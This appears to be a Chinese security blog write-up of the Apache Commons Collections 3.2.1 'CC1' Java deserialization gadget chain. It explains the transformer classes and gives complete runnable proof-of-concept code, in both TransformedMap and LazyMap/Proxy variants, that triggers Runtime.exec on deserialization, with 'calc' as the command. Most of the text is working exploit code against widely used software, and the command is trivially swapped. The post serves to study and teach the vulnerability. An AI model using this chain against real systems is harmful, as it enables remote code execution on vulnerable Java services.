Commons Collections1
2022-02-17 01:37:36

# 环境搭建

JDK:<8u71

本白用的是 8u65

img

1
2
3
4
5
6
7
8
9
10
<dependencies>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

</dependencies>

# 代码审计

入口点是一个 Transformer 接口,里面只有一个 transform 的对象

img

该接口的实现类

img

该接口的重要实现类有: ConstantTransformerinvokerTransformerChainedTransformer,TransformedMap

# ConstantTransformer

其中我们来看一下 ConstantTransformer

img

常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入 Runtime.class ,进行转换返回的依旧是 Runtime.class

这里的 iConstant 是在构造函数时传入的一个对象

但是无论是调用 transform 方法还是 getConstant 方法,他们的返回值都是 iConstant

所以该类的作用就是包装任意一个对象,在执行回调时返回该对象

# InvokerTransformer

再来看下 InvokerTransformer 的源码,这也是该漏洞的关键类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* Constructor for no arg instance.
*
* @param methodName the method to call
*/
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

其中在实例化 InvokerTransformer 时,有三个参数

1、需要执行的方法名

2、该函数的参数列表参数类型

3、该函数的参数列表

img

实例化后,紧借着调用了 transform 方法,也就是执行了 input 对象的 iMethodName 方法

img

到这里我们可以根据 InvokerTransformer 的参数来写一个本地 rce

img

1
2
3
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

img

到这里,我们先整理一下思路,看我们下一步需要找什么

img

对于反序列化,我们肯定要找到一个 readObject 来读取 InputStream 流的对象,而最后的恶意代码执行也有了上面的 InvokerTransformer 类可以实现,所以下一步我们就需要找到一个调用 transform 方法的类

跟进我们写的本地执行中 transform 方法,并查询调用该方法的所有类

# TransfomedMap

其中在 TransformedMap 类中有 3 处调用

img

img

接受的对象时 map,但是传出的键名和键值,也就是 key 和 value 是经过修饰的

其中这里的静态方法会返回经过 TransformedMap 方法处理的对象,键名和键值

img

而其中关于键值 value 的 transform

img

我们跟进会发现到了 TransformedMap 的父类,也就是 AbstractInputCheckedMapDecorator

img

这里的 setValue 是对 MapEntry 的方法重写,其中会调用 checkSetValue,从而触发 valueTransformer.transform

poc:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}

所以我们可以 for 循环 MapEntry 中 map 对象,再去调用 value 的 transform 方法

img

从我们写的 poc 来看

setValue 方法会调用到 TransformedMap 的父类中的 setValue

进而调用 checkSetValue 从而触发 valueTransformer.transform (value)

而这里的操作相当于

1
2
Runtime r = Runtime.getRuntime();
invokerTransformer.transform(r)

也就达到了命令执行的目的

当然我们也可以通过另一个实现类完成命令执行的操作

# ChainedTransformer

**** ChainedTransformer **** 类封装了 Transformer 的链式调用,我们只需要传入一个 Transformer 数组, ChainedTransformer 就会依次调用每一个 Transformertransform 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

第⼀个是 ConstantTransformer,直接返回当前环境的 Runtime 对象;第二个是 InvokerTransformer,执⾏ Runtime 对象的 exec ⽅法

手工 put 触发回调

poc:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map outerMap = TransformedMap.decorate(map, null, transformerChain);
outerMap.put("key", "value");
}

至此,我们的链子

img

虽然调用的实现类是不同的,但是大致的步骤都是差不多的

都是通过对 Map 对象的 value 值进行操作,将调用 InvokerTransformer 的对象存入 Map→Value

并调用 TransformedMap.decorate 这一静态方法,使其触发 valueTransformer.transform 方法,实际上也就是触发 invokerTransformer.transform 从而达到命令执行的目的

当然,上面的两个 EXP 还不算真正的链子,应该将 Map 对象变成一个序列化流

既然是反序列化,触发的点就是 readObject,我们还需要找到一个存在类似的写入操作

接着开始找哪里调用了 setValue 方法

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

注意到这里存在 Map.Entry 的遍历和调用 setValue,大致是符合我们上面写的第一个 EXP

再来看一下构造函数

img

这里就有两个问题了

1、 Runtime.getRuntime() 没有实现 java.io.Serializable 接口,不能序列化

2、想要调用 setValue 需要经过两个 if 判断,否则不能调用

这里的 Map 是我们可控的,也就是可以调用 invokerTransformer.transform

并且这里的 class 关键字前没有 public,不能直接调用,这里就需要反射获取

1
2
3
4
5
6
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

同时这里的 Runtime 部分就不能用 java.lang.Runtime 了,而是 java.lang.Class 并写在 ChainedTransformer 数组内

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

接着就是第二个问题

我们先在第一个 if 打上断点调试看下

这里判定为 null,肯定无法进入 if

img

考虑到我们之前调用的无参方法中注解类存在 value 的参数

img

img

所以这里将 map 对象的 key 修改为 value 并将焦勇的无参方法换成 Target

所以最终的 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "ki10");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//
//
// for (Map.Entry entry : transformedMap.entrySet()) {
// entry.setValue(r);

// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdConstructor.setAccessible(true);
Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap);

serialize(o);

unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

img

至此 TransformedMap 这条链子就走完了

img

但是通过 ysoseiral 源码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections

该链调用的并不是 TransformedMap 而是 LazyMap

相较于 TransformedMapLazyMap 也要更复杂一点

这次的链子,我们反着来学习

从源码中不难发现,在 AnnotationInvocationHandler.readObject() 方法下没有直接调用 Map 的 get 方法而是使用了动态代理

我们首先来看一下 LazyMap 中的 get 方法

img

其中 containsKey 是布尔型的

img

也就是说当 containsKey 不存在时,就会去调用 factory.transform(key) 并将其作业返回值

但对于 sun.reflect.annotation.AnnotationInvocationHandler 这个类来说,实际上这个类是继承了 InvocationHandler 的。也就是说,可以将这个对象动态代理,在 readObject 的时候,调用方法就可以进入 AnnotationInvocationHandler 的 invoke 方法,从而调用 LazyMap 中的 get (key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {

// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = cons.newInstance(Retention.class, proxyMap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}

}
}

img

# 最后

poc 适用的版本应该是 < 8u71